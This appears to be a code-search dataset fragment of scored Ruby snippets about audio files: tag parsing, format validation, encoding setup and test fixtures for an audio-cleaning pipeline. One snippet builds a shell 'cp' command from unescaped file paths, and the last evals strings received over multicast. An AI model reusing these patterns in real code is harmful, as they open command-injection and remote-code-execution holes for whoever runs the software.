@extension\n\twhen 'mp3'\n\t @info = Mp3Info.new(fn, :encoding => @encoding)\n\t default_tag_fill\n\t#\"TXXX\"=>\n\t#[\"MusicBrainz TRM Id\\000\",\n\t #\"MusicBrainz Artist Id\\000aba64937-3334-4c65-90a1-4e6b9d4d7ada\",\n\t #\"MusicBrainz Album Id\\000e1a223c1-cbc2-427f-a192-5d22fefd7c4c\",\n\t #\"MusicBrainz Album Type\\000album\",\n\t #\"MusicBrainz Album Status\\000official\",\n\t #\"MusicBrainz Album Artist Id\\000\"]\n\t if (arr = @info.tag2[\"TXXX\"]).is_a?(Array)\n\t fields = MUSICBRAINZ_FIELDS.invert\n\t arr.each do |val|\n\t if val =~ /^MusicBrainz (.+)\\000(.*)$/\n\t\tshort_name = fields[$1]\n\t @musicbrainz_infos[short_name] = $2\n\t end\n\t end\n\t end\n @bitrate = @info.bitrate\n\t i = @info.tag.tracknum\n\t @tracknum = (i.is_a?(Array) ? i.last : i).to_i\n\t @length = @info.length.to_i\n\t @date = @info.tag[\"date\"]\n\t @vbr = @info.vbr\n\t @info.close\n\n\twhen 'ogg'\n\t @info = OggInfo.new(fn, @encoding)\n\t default_fill_musicbrainz_fields\n\t default_tag_fill\n @bitrate = @info.bitrate/1000\n @tracknum = @info.tag.tracknumber.to_i\n\t @length = @info.length.to_i\n\t @date = @info.tag[\"date\"]\n\t @vbr = true\n\t @info.close\n\t \n\twhen 'mpc'\n\t fill_ape_tag(fn)\n\t \n\t mpc_info = MpcInfo.new(fn)\n @bitrate = mpc_info.infos['bitrate']/1000\n\t @length = mpc_info.infos['length']\n\n when 'ape'\n\t fill_ape_tag(fn)\n\n when 'wma'\n\t @info = WmaInfo.new(fn, :encoding => @encoding)\n\t @artist = @info.tags[\"Author\"]\n\t @album = @info.tags[\"AlbumTitle\"]\n\t @title = @info.tags[\"Title\"]\n\t @tracknum = @info.tags[\"TrackNumber\"].to_i\n\t @date = @info.tags[\"Year\"]\n\t @bitrate = @info.info[\"bitrate\"]\n\t @length = @info.info[\"playtime_seconds\"]\n\t MUSICBRAINZ_FIELDS.each do |key, original_key|\n\t @musicbrainz_infos[key] = \n @info.info[\"MusicBrainz/\" + original_key.tr(\" \", \"\")] ||\n @info.info[\"MusicBrainz/\" + original_key]\n\t end\n \n\twhen 'aac', 'mp4', 'm4a'\n\t @info = MP4Info.open(fn)\n\t @artist = @info.ART\n\t @album = @info.ALB\n\t @title = @info.NAM\n\t @tracknum = ( t = @info.TRKN ) ? t.first : 0\n\t @date = @info.DAY\n\t @bitrate = @info.BITRATE\n\t @length = @info.SECS\n\t mapping = MUSICBRAINZ_FIELDS.invert\n\n\t `faad -i #{fn.shell_escape} 2>&1 `.grep(/^MusicBrainz (.+)$/) do\n\t name, value = $1.split(/: /, 2)\n\t key = mapping[name]\n\t @musicbrainz_infos[key] = value\n\t end\n\t\n\twhen 'flac'\n\t @info = FlacInfo.new(fn)\n tags = convert_tags_encoding(@info.tags, \"UTF-8\")\n\t @artist = tags[\"ARTIST\"]\n\t @album = tags[\"ALBUM\"]\n\t @title = tags[\"TITLE\"]\n\t @tracknum = tags[\"TRACKNUMBER\"].to_i\n\t @date = tags[\"DATE\"]\n\t @length = @info.streaminfo[\"total_samples\"] / @info.streaminfo[\"samplerate\"].to_f\n\t @bitrate = File.size(fn).to_f*8/@length/1024\n\t #default_fill_musicbrainz_fields\n\n\telse\n\t raise(AudioInfoError, \"unsupported extension '.#{@extension}'\")\n end\n\n if @tracknum == 0\n @tracknum = nil\n end\n\n @musicbrainz_infos.delete_if { |k, v| v.nil? }\n @hash = { \"artist\" => @artist,\n\t\"album\" => @album,\n\t\"title\" => @title,\n\t\"tracknum\" => @tracknum,\n\t\"date\" => @date,\n\t\"length\" => @length,\n\t\"bitrate\" => @bitrate,\n }\n\n rescue Exception, Mp3InfoError, OggInfoError, ApeTagError => e\n raise AudioInfoError, e.to_s, e.backtrace\n end\n\n @needs_commit = false\n\n end", "title": "" }, { "docid": "3b8be08afb5d6c544e8d77f3e0e83d9f", "score": "0.4576717", "text": "def correct_tag_values?\n validate_tags(info.our_tags)\n validate_album_disc(info.album, file.dirname.basename.to_s)\n end", "title": "" }, { "docid": "23d5bb636bb6ec0d58baef22cd8052fb", "score": "0.45753786", "text": "def testNormalTrack\n execute_Mix_WithConf({\n :Recordings => {\n :Tracks => {\n [1] => {\n :Env => :Env1\n }\n }\n },\n :Mix => {\n 'Final' => {\n :Tracks => {\n [1] => {}\n },\n :Processes => [\n {\n :Name => 'Test',\n :Param1 => 'TestParam1'\n }\n ]\n }\n }\n },\n :PrepareFiles => getPreparedFiles(:Recorded_Env1_1, :Cleaned_Env1_1)\n ) do |iStdOUTLog, iStdERRLog, iExitStatus|\n assert_exitstatus 0, iExitStatus\n lWave0FileName = getFileFromGlob('05_Mix/Env1.1.04.NoiseGate.0.Test.????????????????????????????????.wav')\n assert_rb_content [\n {\n :InputFileName => '02_Clean/Record/Env1.1.04.NoiseGate.wav',\n :OutputFileName => lWave0FileName,\n :Params => {\n :Param1 => 'TestParam1'\n }\n }\n ], 'Process_Test.rb'\n assert Dir.glob('05_Mix/Env1.1.Calibrated.0.Test.????????????????????????????????.wav').empty?\n assert_wave_lnk '02_Clean/Record/Env1.1.04.NoiseGate', '05_Mix/Final/Final.wav'\n end\n end", "title": "" }, { "docid": "30582b16db8e5c280a0e3622f5221499", "score": "0.45714828", "text": "def build_frequency_list\n # read the 512 byte chunk into the variable, get the size,\n # and count each value of the 256 possibilites. Stored in @char_frequency\n file_stream = IO.binread(@file_name, @byte_chunk)\n block_size = file_stream.length * 1.0\n file_unpacked = file_stream.unpack('C*').map { |c| c.to_s }\n (0..255).each do |byte|\n counter = 0\n file_unpacked.each do |index|\n counter += 1 if index.to_i == byte\n end\n @char_frequency.insert(byte, counter / block_size)\n end\n end", "title": "" }, { "docid": "5131a787951fb198e2bd6ea384858673", "score": "0.45657638", "text": "def is_audio(str)\n str.match(/\\A\\w*.(mp3|flac|alac|aac)\\Z/) != nil\nend", "title": "" }, { "docid": "b39385d41ef9735a67a4cd0ada339660", "score": "0.4563766", "text": "def before_save \n \n #\n # upload bundle image\n #\n if( @uploadfile )\n \n # clean up first all existing image files\n [\"jpeg\", \"gif\", \"png\"].each do |ext| \n f = fq_bundle_image_filename( ext )\n if File.exists?(f) \n File.delete(f)\n end\n end\n \n # write the upload file\n extention = @uploadfile.content_type.gsub(/^image\\//, '').downcase.chomp\n out = File.open( fq_bundle_image_filename( extention ), \"w\" )\n out.write( @uploadfile.read )\n out.close\n \n # integrate link in description\n desc = self.description \n # filter operations can be inserted later on\n updated_img_lnk = \"[[File:#{bundle_resouce_file_name}.#{extention}]]\"\n desc = desc.gsub( /\\[\\[file:.*?\\.((jpeg)|(jpg)|(png)|(gif))\\]\\]/i, updated_img_lnk )\n if( ! $~ )\n # if not already matched add link tag to the end of the description field\n desc << \"\\n\" + updated_img_lnk\n end\n self.description = desc\n end\n\n\n #\n # copy prompt sample for bundle description (/upload/audio)\n #\n if( @sample_file_id )\n audio_source = AudioSource.find_by_file_id( @sample_file_id, :conditions => { :bundle_source_id=>self.id } )\n logger.info( @sample_file_id )\n if( audio_source )\n # copy file\n audio_source = audio_source.fq_mp3_filename\n audio_target = \"public/upload/audio/\" + bundle_resouce_file_name + \".mp3\"\n \n %x[cp #{audio_source} #{audio_target}]\n sample_prompt_file_tag = \"[[File:#{bundle_resouce_file_name}.mp3]]\"\n \n # integrate prompt sample in description\n desc = self.description\n desc = desc.gsub( /\\[\\[file:.*?\\.((mp3))\\]\\]/i, sample_prompt_file_tag )\n\n if( ! $~ )\n # if not already matched add link tag to the end of the description field\n desc << \"\\n\" +sample_prompt_file_tag\n end\n \n self.description = desc \n end\n end\n\n end", "title": "" }, { "docid": "03a136d1e2404259ef8b75f24db0ec9a", "score": "0.4563221", "text": "def run_single(existing_file, audio_params, is_real_run)\n # get existing file info and comparisons between expected and actual\n existing_file_info = @file_info.audio_info(existing_file)\n\n @logger.debug(@class_name) do\n \"Actual file info: #{existing_file_info}\"\n end\n\n compare_hash = compare_info(existing_file, existing_file_info, audio_params)\n\n base_msg = \"for #{compare_hash}\"\n\n @logger.info(@class_name) do\n \"Compared expected and actual info #{base_msg}\"\n end\n\n # MID LEVEL PROBLEM: is the file valid?\n # usually will not log 'File integrity uncertain', since the info check will raise an error\n # for most things that would present as 'File integrity uncertain'.\n check_file_integrity = compare_hash[:checks][:file_errors] == :pass\n if check_file_integrity\n @logger.debug(@class_name) {\n \"File integrity ok #{base_msg}\"\n }\n else\n msg = \"File integrity uncertain #{base_msg}\"\n @logger.warn(@class_name) { msg }\n end\n\n # MID LEVEL PROBLEM: extensions do not match\n # (this is impossible, since if the extension/media_type doesn't match,\n # can't find the file in the first place)\n check_extension = compare_hash[:checks][:extension] == :pass\n if check_extension\n @logger.debug(@class_name) {\n \"File extensions match #{base_msg}\"\n }\n else\n msg = \"File extensions do not match #{base_msg}\"\n @logger.warn(@class_name) { msg }\n end\n\n # HIGH LEVEL PROBLEM: do the hashes match?\n # if the hash from params is 'SHA256::' then first check all other checks pass\n # then update it.\n check_file_hash = compare_hash[:checks][:file_hash] == :pass\n is_expected_file_hash_default = compare_hash[:expected][:file_hash] == 'SHA256::'\n if check_file_hash\n @logger.debug(@class_name) {\n \"File hashes match #{base_msg}\"\n }\n\n elsif is_expected_file_hash_default\n # do nothing here - raise error if something else doesn't match\n else\n msg = \"File hashes DO NOT match #{base_msg}\"\n\n # log error\n @logger.error(@class_name) { msg }\n\n # write row of csv into log file\n log_csv_line(\n existing_file, true, nil,\n compare_hash, nil, nil,\n :high_file_hashes_do_not_match,\n audio_params[:id]\n )\n\n raise BawAudioTools::Exceptions::FileCorruptError, msg\n end\n\n changed_metadata = {}\n\n # LOW LEVEL PROBLEM: media type, sample_rate, channels, bit_rate, data_length_bytes, duration_seconds\n check_media_type = compare_hash[:checks][:media_type] == :pass\n changed_metadata[:media_type] = compare_hash[:actual][:media_type] unless check_media_type\n\n check_sample_rate = compare_hash[:checks][:sample_rate_hertz] == :pass\n changed_metadata[:sample_rate_hertz] = compare_hash[:actual][:sample_rate_hertz] unless check_sample_rate\n\n check_channels = compare_hash[:checks][:channels] == :pass\n changed_metadata[:channels] = compare_hash[:actual][:channels] unless check_channels\n\n check_bit_rate_bps = compare_hash[:checks][:bit_rate_bps] == :pass\n changed_metadata[:bit_rate_bps] = compare_hash[:actual][:bit_rate_bps] unless check_bit_rate_bps\n\n check_data_length_bytes = compare_hash[:checks][:data_length_bytes] == :pass\n unless check_data_length_bytes\n changed_metadata[:data_length_bytes] =\n compare_hash[:actual][:data_length_bytes]\n end\n\n check_duration_seconds = compare_hash[:checks][:duration_seconds] == :pass\n changed_metadata[:duration_seconds] = compare_hash[:actual][:duration_seconds] unless check_duration_seconds\n\n # check on file hash - if everything else matches, update it. if anything else doesn't\n # match, raise an error\n if is_expected_file_hash_default\n if changed_metadata.empty?\n changed_metadata[:file_hash] = compare_hash[:actual][:file_hash]\n else\n msg = \"File hash and other properties DO NOT match #{changed_metadata} #{base_msg}\"\n\n # log error\n @logger.error(@class_name) { msg }\n\n # write row of csv into log file\n log_csv_line(existing_file, true, nil,\n compare_hash, nil, nil,\n :medium_multiple_properties_do_not_match,\n audio_params[:id])\n\n raise BawAudioTools::Exceptions::FileCorruptError, msg\n end\n end\n\n # use api for any changes/updates for low level problems\n update_result = nil\n if changed_metadata.empty?\n @logger.info(@class_name) {\n \"No updates required #{base_msg}\"\n }\n else\n\n msg = \"Update required #{changed_metadata} #{base_msg}\"\n @logger.warn(@class_name) { msg }\n\n if is_real_run\n @logger.info(@class_name) { 'Updating properties.' }\n host = Settings.api.host\n port = Settings.api.port\n\n # get auth token\n security_info = @api_communicator.request_login\n\n # update audio recording metadata\n update_result = @api_communicator.update_audio_recording_details(\n 'mismatch between file and database',\n existing_file,\n audio_params[:id],\n changed_metadata,\n security_info\n )\n else\n @logger.info(@class_name) { 'Dry Run: Would have updated properties.' }\n end\n end\n\n api_result_value = :unknown\n api_result_value = :notrequired if changed_metadata.empty?\n api_result_value = :dry_run if !changed_metadata.empty? && !is_real_run\n api_result_value = :sent_with_unknown_response if !changed_metadata.empty? && is_real_run\n api_result_value = update_result ? :success : :error unless update_result.nil?\n\n {\n compare_hash:,\n api_result_hash: changed_metadata,\n api_result: api_result_value\n }\n end", "title": "" }, { "docid": "da67d984bf97111ec52e50626a7336db", "score": "0.45625603", "text": "def parse_atx_header_gfm_quirk; end", "title": "" }, { "docid": "ab3a8d1e6756d3b8004ecbd61d72aedc", "score": "0.45624852", "text": "def size_range\n CARRIERWAVE_MAX_FILE_SIZE\n end", "title": "" }, { "docid": "2b86ea9b5afa6b7810ac6683baed43e1", "score": "0.4560983", "text": "def validateByteOrder\n unless Audio_Byte_Order.include?(@byte_order)\n raise \"value #{@byte_order} is not a valid byte_order value\"\n end\n end", "title": "" }, { "docid": "06964cbccbceb9b297edcb9978e826df", "score": "0.455678", "text": "def getStreams(files)\n violations = Hash.new{|hash, key| hash[key] = []}\n\n files.each{|file|\n file[:streams] = FFMPEG.getStreams(file[:path])\n\n if (file[:streams][:video].size() == 0)\n violations['no video streams'] << file\n end\n\n if (file[:streams][:audio].size() == 0)\n violations['no audio streams'] << file\n end\n\n if (file[:streams][:video].size() > 1)\n violations['multiple video streams'] << file\n end\n\n file[:streams][:subtitle].each{|subStream|\n if (!FFMPEG::KNOWN_SUBTITLE_CODECS.include?(subStream['codec_name']))\n violations['unknown sub type'] << file\n end\n }\n }\n\n if (violations.size() > 0)\n reasons = violations.to_a().map{|reason, files| \"{#{reason}: [#{files.map{|file| file[:path]}.join(', ')}]}\"}\n raise(\"Found files we cannot encode -- #{reasons}\")\n end\nend", "title": "" }, { "docid": "28f8f4d03de196ae66f215e119067553", "score": "0.45562908", "text": "def check_file(filename)\n result = [[], filename, :unknown, :clean]\n\n File.open(filename, \"rb\") do |f|\n\n # ファイルを読み込む\n begin\n header = f.read(8)\n f.seek(-12, IO::SEEK_END)\n footer = f.read(12)\n rescue\n result[0].push(\"ファイルが破損しています\")\n return result\n end\n\n # ファイル破損チェック\n if header[0, 2].unpack(\"H*\") == [ \"ffd8\" ]\n unless footer[-2, 2].unpack(\"H*\") == [ \"ffd9\" ] then\n result[3] = :damaged\n end\n result[2] = \".jpg\"\n elsif header[0, 3].unpack(\"A*\") == [ \"GIF\" ]\n unless footer[-1, 1].unpack(\"H*\") == [ \"3b\" ] then\n result[0].push(\"ファイルが破損しています\")\n result[3] = :damaged\n end\n result[2] = \".gif\"\n elsif header[0, 8].unpack(\"H*\") == [ \"89504e470d0a1a0a\" ]\n unless footer[-12, 12].unpack(\"H*\") == [ \"0000000049454e44ae426082\" ]\n result[0].push(\"ファイルが破損しています\")\n result[3] = :damaged\n end\n result[2] = \".png\"\n end\n\n # 拡張子の齟齬チェック\n if File.extname(filename) != result[2]\n result[0].push(\"拡張子が間違っています\")\n if(result[3] == :damaged)\n result[3] = :ext_error_damaged\n else\n result[3] = :ext_error\n end\n end\n\n end\n\n result\nend", "title": "" }, { "docid": "8165dc2b50f93e00b85d68721902c19c", "score": "0.45547935", "text": "def parse_lfo(lfo)\n data = @bytes.next\n lfo.wave = (data & 0xC0) >> 6\n lfo.frequency = data & 0x3F\n\n data = @bytes.next\n mod_part_one = (data & 0xC0) >> 6\n lfo.level1 = data & 0x3F\n\n data = @bytes.next\n mod_part_two = (data & 0xC0) >> 6\n lfo.level2 = data & 0x3F\n\n lfo.modulator.source = (mod_part_one << 2) + mod_part_two\n\n data = @bytes.next\n lfo.reset = bit_true?(data)\n lfo.humanize = bit_true?(data, 2)\n lfo.delay = data & 0x3F\n end", "title": "" }, { "docid": "3d33dc8d69e838e2ef394e652dcc3d69", "score": "0.4554086", "text": "def update_after_conversion\n #update_attribute(:filename, \"#{filename}.flv\")\n #update_attribute(:content_type,\"video/x-flv\")\n end", "title": "" }, { "docid": "0f399828885279ce22cea6d719d06681", "score": "0.45538852", "text": "def create_audio!(enc, manifest, s3_input, s3_output)\n\n # Create or load the Audio Config\n #audio_config = Bitmovin::Encoding::CodecConfigurations::AacConfiguration.find(\"<EXISTING_AAC_CONFIG_ID>\")\n audio_config = Bitmovin::Encoding::CodecConfigurations::AacConfiguration.new({\n name: \"AAC_PROFILE_128k\",\n bitrate: 128000,\n rate: 48000\n })\n audio_config.save!\n #\n # Adding Audio Stream to Encoding\n stream_aac = enc.streams.build(name: 'audio stream')\n stream_aac.codec_configuration = audio_config\n stream_aac.build_input_stream(input_path: INPUT_FILE_PATH, input_id: s3_input.id, selection_mode: 'AUTO')\n stream_aac.conditions = {\n type: \"CONDITION\",\n attribute: \"INPUTSTREAM\",\n operator: \"==\",\n value: \"TRUE\"\n }\n puts stream_aac.conditions.to_json\n stream_aac.save!\n\n # Audio Muxing\n audio_muxing = enc.muxings.fmp4.build(name: 'audio-muxing', segment_length: 4)\n audio_muxing.build_output({\n output_id: s3_output.id,\n output_path: File.join(OUTPUT_PATH, \"audio/aac\")\n })\n audio_muxing.build_output({\n output_id: s3_output.id,\n output_path: File.join(OUTPUT_PATH, \"audio/aac\"),\n acl: [{\n permission: \"PUBLIC_READ\"\n }]\n })\n audio_muxing.streams << stream_aac.id\n audio_muxing.save!\n\n # Adding Audio Stream to HLS Manifest\n audio_stream_medium = manifest.build_audio_medium({\n name: \"HLS Audio Media\",\n group_id: \"audio_group\",\n segment_path: \"audio/aac\",\n encoding_id: enc.id,\n stream_id: stream_aac.id,\n muxing_id: audio_muxing.id,\n language: \"en\",\n uri: \"audio_media.m3u8\"\n })\n audio_stream_medium.save!\nend", "title": "" }, { "docid": "27c63c45140f1c02ce640292355c3b22", "score": "0.4550759", "text": "def check\n len = 0\n @sig_waveforms.each do |pair|\n values = pair[1]\n if len == 0\n len = values.length\n else\n return false if values.length != len\n end\n end\n return true\n end", "title": "" }, { "docid": "47f76a29987eaacd099904e8bf453913", "score": "0.45448846", "text": "def channels\n mediainfo.audio.channels\n end", "title": "" }, { "docid": "634c3e8b9a30ab320de7377643301a62", "score": "0.45441687", "text": "def content_type_to_caps(content_type)\n if not content_type\n content_type = \"audio/x-raw-int\"\n return \"audio/x-raw-int,rate=16000,channels=1,signed=true,endianness=1234,depth=16,width=16\"\n end\n parts = content_type.split(%r{[,; ]})\n result = \"\"\n allowed_types = Set.new [\"audio/x-flac\", \"audio/x-raw-int\", \"application/ogg\", \"audio/mpeg\", \"audio/x-wav\"]\n if allowed_types.include? parts[0]\n result = parts[0]\n if parts[0] == \"audio/x-raw-int\"\n attributes = {\"rate\"=>\"16000\", \"channels\"=>\"1\", \"signed\"=>\"true\", \"endianness\"=>\"1234\", \"depth\"=>\"16\", \"width\"=>\"16\"}\n user_attributes = Hash[*parts[1..-1].map{|s| s.split('=', 2) }.flatten]\n attributes.merge!(user_attributes)\n result += \", \" + attributes.map{|k,v| \"#{k}=#{v}\"}.join(\", \")\n end\n return result\n else\n raise IOError, \"Unsupported content type: #{parts[0]}. Supported types are: \" + allowed_types.to_a.join(\", \") + \".\" \n end\n end", "title": "" }, { "docid": "df508c211f1f978a618d0605c3cdc398", "score": "0.45441353", "text": "def kyc_images_validation\n return unless document_uploaded?\n %w[selfie_picture govt_id_picture id_picture].each do |file|\n file = send(file)\n return errors[:base] << I18n.t('wrong_img_format') unless ( file.content_type =~ /^image\\/(jpeg|pjpeg|gif|png|bmp)$/ ) || ( file.content_type.in?([\"application/pdf\"]) )\n end\n end", "title": "" }, { "docid": "8b357280051913ff6bb622f3babc3fb6", "score": "0.45414653", "text": "def validate_size\n if ( (audio? || video?) && media.try(:value).try(:is_a?, ActionDispatch::Http::UploadedFile) && media.value.tempfile.size > MAX_MEDIA_SIZE ) ||\n ( image? && media.present? && media.file.size > MAX_MEDIA_SIZE ) ||\n ( media.is_a?(ActionDispatch::Http::UploadedFile) && media.tempfile.size > MAX_MEDIA_SIZE )\n errors.add(:media, :too_large)\n end\n end", "title": "" }, { "docid": "43857d1c74753af01206a3b99368ff44", "score": "0.45385745", "text": "def track_appreciation_factor(playtime, track_duration)\n k = [0, [playtime, track_duration].min].max.to_f / track_duration - 0.5\n l = 1.0 - k.abs\n l\nend", "title": "" }, { "docid": "d253c9c1ca42e554a111031661ca723c", "score": "0.4537393", "text": "def testSingleTrackWithDCOffsetAndCalibration\n execute_Clean_WithConf({\n :Recordings => {\n :EnvCalibration => {\n [ :Env1, :Env2 ] => {\n :CompareCuts => ['0.01s', '0.16s']\n }\n },\n :Tracks => {\n [1] => {\n :Env => :Env1,\n :CalibrateWithEnv => :Env2\n }\n }\n }\n },\n :PrepareFiles => getPreparedFiles(:Recorded_Env1_1_CalibEnv2),\n :FakeWSK => [\n # Clean Calibration Env1 Env2\n {\n :Input => '01_Source/Record/Calibration.Env1.Env2.wav',\n :Output => /^.*\\/Dummy\\.wav$/,\n :Action => 'Analyze',\n :UseWave => 'Empty.wav',\n :CopyFiles => { 'Analysis/Calibration.Env1.Env2.analyze' => 'analyze.result' }\n },\n {\n :Input => '01_Source/Record/Env1.Silence.wav',\n :Output => /^.*\\/Dummy\\.wav$/,\n :Action => 'FFT',\n :UseWave => 'Empty.wav',\n :CopyFiles => { 'FFT/Env1.Silence.fftprofile' => 'fft.result' }\n },\n {\n :Input => '01_Source/Record/Env1.Silence.wav',\n :Output => /^.*\\/Dummy\\.wav$/,\n :Action => 'Analyze',\n :UseWave => 'Empty.wav',\n :CopyFiles => { 'Analysis/Env1.Silence.analyze' => 'analyze.result' }\n },\n {\n :Input => '01_Source/Record/Calibration.Env1.Env2.wav',\n :Output => '02_Clean/Record/Calibration.Env1.Env2.01.SilenceRemover.wav',\n :Action => 'SilenceRemover',\n :Params => [ '--silencethreshold', '-3604,3607', '--attack', '0', '--release', '1s', '--noisefft', 'Analyze/Record/Env1.Silence.fftprofile' ],\n :UseWave => '02_Clean/Record/Calibration.Env1.Env2.01.SilenceRemover.wav'\n },\n {\n :Input => '02_Clean/Record/Calibration.Env1.Env2.01.SilenceRemover.wav',\n :Output => '02_Clean/Record/Calibration.Env1.Env2.02.Cut.0.01s_0.16s.wav',\n :Action => 'Cut',\n :Params => [ '--begin', '0.01s', '--end', '0.16s' ],\n :UseWave => '02_Clean/Record/Calibration.Env1.Env2.02.Cut.0.01s_0.16s.wav'\n },\n {\n :Input => '02_Clean/Record/Calibration.Env1.Env2.02.Cut.0.01s_0.16s.wav',\n :Output => '02_Clean/Record/Calibration.Env1.Env2.03.DCShifter.wav',\n :Action => 'DCShifter',\n :Params => [ '--offset', '2' ],\n :UseWave => '02_Clean/Record/Calibration.Env1.Env2.03.DCShifter.wav'\n },\n {\n :Input => '02_Clean/Record/Calibration.Env1.Env2.03.DCShifter.wav',\n :Output => '02_Clean/Record/Calibration.Env1.Env2.04.NoiseGate.wav',\n :Action => 'NoiseGate',\n :Params => [ '--silencethreshold', '-3602,3609', '--attack', '0.1s', '--release', '0.1s', '--silencemin', '1s', '--noisefft', 'Analyze/Record/Env1.Silence.fftprofile' ],\n :UseWave => '02_Clean/Record/Calibration.Env1.Env2.04.NoiseGate.wav'\n },\n # Clean Calibration Env2 Env1\n {\n :Input => '01_Source/Record/Calibration.Env2.Env1.wav',\n :Output => /^.*\\/Dummy\\.wav$/,\n :Action => 'Analyze',\n :UseWave => 'Empty.wav',\n :CopyFiles => { 'Analysis/Calibration.Env2.Env1.analyze' => 'analyze.result' }\n },\n {\n :Input => '01_Source/Record/Env2.Silence.wav',\n :Output => /^.*\\/Dummy\\.wav$/,\n :Action => 'FFT',\n :UseWave => 'Empty.wav',\n :CopyFiles => { 'FFT/Env2.Silence.fftprofile' => 'fft.result' }\n },\n {\n :Input => '01_Source/Record/Env2.Silence.wav',\n :Output => /^.*\\/Dummy\\.wav$/,\n :Action => 'Analyze',\n :UseWave => 'Empty.wav',\n :CopyFiles => { 'Analysis/Env2.Silence.analyze' => 'analyze.result' }\n },\n {\n :Input => '01_Source/Record/Calibration.Env2.Env1.wav',\n :Output => '02_Clean/Record/Calibration.Env2.Env1.01.SilenceRemover.wav',\n :Action => 'SilenceRemover',\n :Params => [ '--silencethreshold', '-7601,7577', '--attack', '0', '--release', '1s', '--noisefft', 'Analyze/Record/Env2.Silence.fftprofile' ],\n :UseWave => '02_Clean/Record/Calibration.Env2.Env1.01.SilenceRemover.wav'\n },\n {\n :Input => '02_Clean/Record/Calibration.Env2.Env1.01.SilenceRemover.wav',\n :Output => '02_Clean/Record/Calibration.Env2.Env1.02.Cut.0.01s_0.16s.wav',\n :Action => 'Cut',\n :Params => [ '--begin', '0.01s', '--end', '0.16s' ],\n :UseWave => '02_Clean/Record/Calibration.Env2.Env1.02.Cut.0.01s_0.16s.wav'\n },\n {\n :Input => '02_Clean/Record/Calibration.Env2.Env1.02.Cut.0.01s_0.16s.wav',\n :Output => '02_Clean/Record/Calibration.Env2.Env1.03.DCShifter.wav',\n :Action => 'DCShifter',\n :Params => [ '--offset', '94' ],\n :UseWave => '02_Clean/Record/Calibration.Env2.Env1.03.DCShifter.wav'\n },\n {\n :Input => '02_Clean/Record/Calibration.Env2.Env1.03.DCShifter.wav',\n :Output => '02_Clean/Record/Calibration.Env2.Env1.04.NoiseGate.wav',\n :Action => 'NoiseGate',\n :Params => [ '--silencethreshold', '-7507,7671', '--attack', '0.1s', '--release', '0.1s', '--silencemin', '1s', '--noisefft', 'Analyze/Record/Env2.Silence.fftprofile' ],\n :UseWave => '02_Clean/Record/Calibration.Env2.Env1.04.NoiseGate.wav'\n },\n # Clean Track 1\n {\n :Input => '01_Source/Record/Env1.1.wav',\n :Output => /^.*\\/Dummy\\.wav$/,\n :Action => 'Analyze',\n :UseWave => 'Empty.wav',\n :CopyFiles => { 'Analysis/Env1.1.analyze' => 'analyze.result' }\n },\n {\n :Input => '01_Source/Record/Env1.1.wav',\n :Output => '02_Clean/Record/Env1.1.01.SilenceRemover.wav',\n :Action => 'SilenceRemover',\n :Params => [ '--silencethreshold', '-3604,3607', '--attack', '0', '--release', '1s', '--noisefft', 'Analyze/Record/Env1.Silence.fftprofile' ],\n :UseWave => '02_Clean/Record/Env1.1.01.SilenceRemover.wav'\n },\n {\n :Input => '02_Clean/Record/Env1.1.01.SilenceRemover.wav',\n :Output => '02_Clean/Record/Env1.1.03.DCShifter.wav',\n :Action => 'DCShifter',\n :Params => [ '--offset', '2' ],\n :UseWave => '02_Clean/Record/Env1.1.03.DCShifter.wav'\n },\n {\n :Input => '02_Clean/Record/Env1.1.03.DCShifter.wav',\n :Output => '02_Clean/Record/Env1.1.04.NoiseGate.wav',\n :Action => 'NoiseGate',\n :Params => [ '--silencethreshold', '-3602,3609', '--attack', '0.1s', '--release', '0.1s', '--silencemin', '1s', '--noisefft', 'Analyze/Record/Env1.Silence.fftprofile' ],\n :UseWave => '02_Clean/Record/Env1.1.04.NoiseGate.wav'\n }\n ]) do |iStdOUTLog, iStdERRLog, iExitStatus|\n assert_exitstatus 0, iExitStatus\n assert File.exists?('Analyze/Record/Env1.1.analyze')\n assert File.exists?('Analyze/Record/Env1.Silence.analyze')\n assert File.exists?('Analyze/Record/Env1.Silence.fftprofile')\n assert File.exists?('Analyze/Record/Env2.Silence.analyze')\n assert File.exists?('Analyze/Record/Env2.Silence.fftprofile')\n assert File.exists?('Analyze/Record/Calibration.Env1.Env2.analyze')\n assert File.exists?('Analyze/Record/Calibration.Env2.Env1.analyze')\n assert File.exists?('02_Clean/Record/Calibration.Env1.Env2.01.SilenceRemover.wav')\n assert File.exists?('02_Clean/Record/Calibration.Env1.Env2.02.Cut.0.01s_0.16s.wav')\n assert File.exists?('02_Clean/Record/Calibration.Env1.Env2.03.DCShifter.wav')\n assert File.exists?('02_Clean/Record/Calibration.Env1.Env2.04.NoiseGate.wav')\n assert File.exists?('02_Clean/Record/Calibration.Env2.Env1.01.SilenceRemover.wav')\n assert File.exists?('02_Clean/Record/Calibration.Env2.Env1.02.Cut.0.01s_0.16s.wav')\n assert File.exists?('02_Clean/Record/Calibration.Env2.Env1.03.DCShifter.wav')\n assert File.exists?('02_Clean/Record/Calibration.Env2.Env1.04.NoiseGate.wav')\n assert File.exists?('02_Clean/Record/Env1.1.01.SilenceRemover.wav')\n assert !File.exists?('02_Clean/Record/Env1.1.02.Cut.0.01s_0.16s.wav')\n assert File.exists?('02_Clean/Record/Env1.1.03.DCShifter.wav')\n assert File.exists?('02_Clean/Record/Env1.1.04.NoiseGate.wav')\n end\n end", "title": "" }, { "docid": "1430985516f7ac2943a2fdb3975760c7", "score": "0.45360005", "text": "def is_audio_type?\n file_content_type =~ /\\Aaudio\\/.*\\Z/\n end", "title": "" }, { "docid": "f8ca111e7b89a70b9a3ee645d0ee03aa", "score": "0.45353216", "text": "def audio?\n not audio_formats.empty?\n end", "title": "" } ]
145214a1e1d81dabe9aaf3a078fbca91
invoked by MCast, data is string (ruby literal) ["move",id,time,[x,y],[vx,vy],[a,va]]
[ { "docid": "76084996fe389689ec2ce4571eda956f", "score": "0.48010805", "text": "def receive_data(data)\n\t\t\treturn if !(data && data[0,1]==\"[\")\n\t\t\tbdata=eval( data )\n\t\t\tlog(\"Received: #{bdata.inspect[0..100]} / length=#{data.size} bytes\") if @trace\n\t\t\tif Array===bdata && bdata.length>1\n\t\t\t\tcode,id,*bdata=bdata\n\t\t\t\tif id==$id\n\t\t\t\t\tlog(\" This message is from myself ! so, multicast seem ok\")if @trace\n\t\t\t\t\treturn\n\t\t\t\tend\n\t\t\t\t@is_master=false if id<$id \n\t\t\t\t@event_stack << [code,id,bdata]\n\t\t\tend\n\t\tend", "title": "" } ]
